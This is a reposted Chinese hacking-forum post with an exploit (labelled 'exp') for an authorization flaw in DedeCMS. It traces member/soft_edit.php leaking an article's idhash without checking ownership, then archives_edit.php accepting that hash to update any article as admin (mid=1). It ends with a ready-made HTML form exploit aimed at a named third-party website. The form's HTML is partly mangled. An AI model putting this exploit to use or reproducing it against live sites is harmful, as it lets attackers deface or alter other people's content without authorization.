DEDECMS任意修改文章漏洞(exp)
<p> 这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!</p><p> 废话不说</p>
<p> 经典对白 看代码!</p>
<p> member\soft_edit.php</p>
<p> 01if(empty($dopost)) //如果这里是空也就是直接访问这个文件</p>
<p> 02{</p>
<p> 03 //读取归档信息</p>
<p> 04 $arcQuery= "Select</p>
<p> 05 dede_channeltype.typename aschannelname,</p>
<p> 06 dede_arcrank.membername asrankname,</p>
<p> 07 dede_channeltype.arcsta ,</p>
<p> 08 dede_archives .*</p>
<p> 09 From dede_archives</p>
<p> 10 left join dede_channeltype on dede_channeltype.id=dede_archives.channel</p>
<p> 11 left join dede_arcrank on dede_arcrank.rank=dede_archives.arcrank</p>
<p> 12 where dede_archives.id='$aid' ";</p>
<p> 13//悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义!</p>
<p> 14 $dsql->SetQuery($arcQuery);</p>
<p> 15 $row= $dsql->GetOne($arcQuery);</p>
<p> 16</p>
<p> 17//省略一堆验证代码....</p>
<p> 18include(DEDEMEMBER."/templets/soft_edit.htm"); //载入模板</p>
<p> 19//再看这个soft_edit.htm 的代码</p>
<p> 20//其中一段是</p>
<p> 21 <input type="hidden" name="idhash" value="<?php echo md5($row['id'].$cfg_cookie_encode); ?>" /></p>
<p> //输出了 idhash 这个很重要</p>
<p> //这样就得到了要修改文章的idhash</p>
<p> //然后用修改文章的文件去利用</p>
<p> 看代码</p>
<p> archives_edit.php</p>
<p> 01if($dopost=='save')</p>
<p> 02{</p>
<p> 03 include(DEDEMEMBER.'/inc/archives_check_edit.php'); //这里是验证idhash</p>
<p> 04//省略一堆没用的代码</p>
<p> 05$upQuery= "Update `dede_archives ` set</p>
<p> 06 ismake='$ismake',</p>
<p> 07 arcrank='$arcrank',</p>
<p> 08 typeid='$typeid',</p>
<p> 09 title='$title',</p>
<p> 10 litpic='$litpic',</p>
<p> 11 description='$description',</p>
<p> 12 keywords='$keywords',</p>
<p> 13 mtype = '$mtypesid',</p>
<p> 14 flag='$flag'</p>
<p> 15 where id='$aid'And mid='$mid'; "; //默认的MID是1 也就是ADMIN管理员 aid就是文章ID</p>
<p> 现在看下archives_check_edit.php这个文件</p>
<p> 1$ckhash= md5($aid.$cfg_cookie_encode);</p>
<p> 2if($ckhash!=$idhash) //idhash就是这样用的</p>
<p> 3{</p>
<p> 4 ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');</p>
<p> 5 exit();</p>
<p> 6}</p>
<p> //这样就成功修改文章了</p>
<p> 利用EXP:</p>
<p>
<form id="”upload”" action="”http://www.ftahk.com/member/archives_edit.php?dopost=save”">
</form>
</p>
<p> </p>
<p> <input name="”aid”" value="”44003″" type="text" /> //这里是文章ID 自己在plus/view.php里找</p>
<p> </p>
<p> </p>
<p> <input name="”mid”" value="”1″" type="text" /> //发布人的MID 默认ADMIN是1</p>
<p> </p>
<p> </p>
<p> <input name="”typeid”" value="”1″" type="text" /> // 栏目ID 不知道的就自己新发表一篇然后看源代码找到可以发布的ID</p>
<p> </p>
<p> </p>
<p> <input name="”title”" value="”test”" type="text" /> //文章标题</p>
<p> </p>
<p> </p>
<p> <input name="”description”" value="”test”" type="text" /> //文章内容</p>
<p> </p>
<p> </p>
<p> <input name="”idhash”" value="”32bbac95e90baaffad905bb3d44edd9f”" type="text" /> //idhash 在第一步里说了怎么获取了</p>
<p> </p>
<p> </p>
<p> <input name="”vdcode”" value="”1″" type="text" /> //验证码。。新发布文章就能获取</p>
<p> </p>
<p> </p>
<div> </div>
<p> </p>
<p> <input name="”respondids”" value="”确定修改" type="text" /></p>
<p> </p>
<p> 转自:T00ls</p>
<p> 作者:心灵</p>
頁:
[1]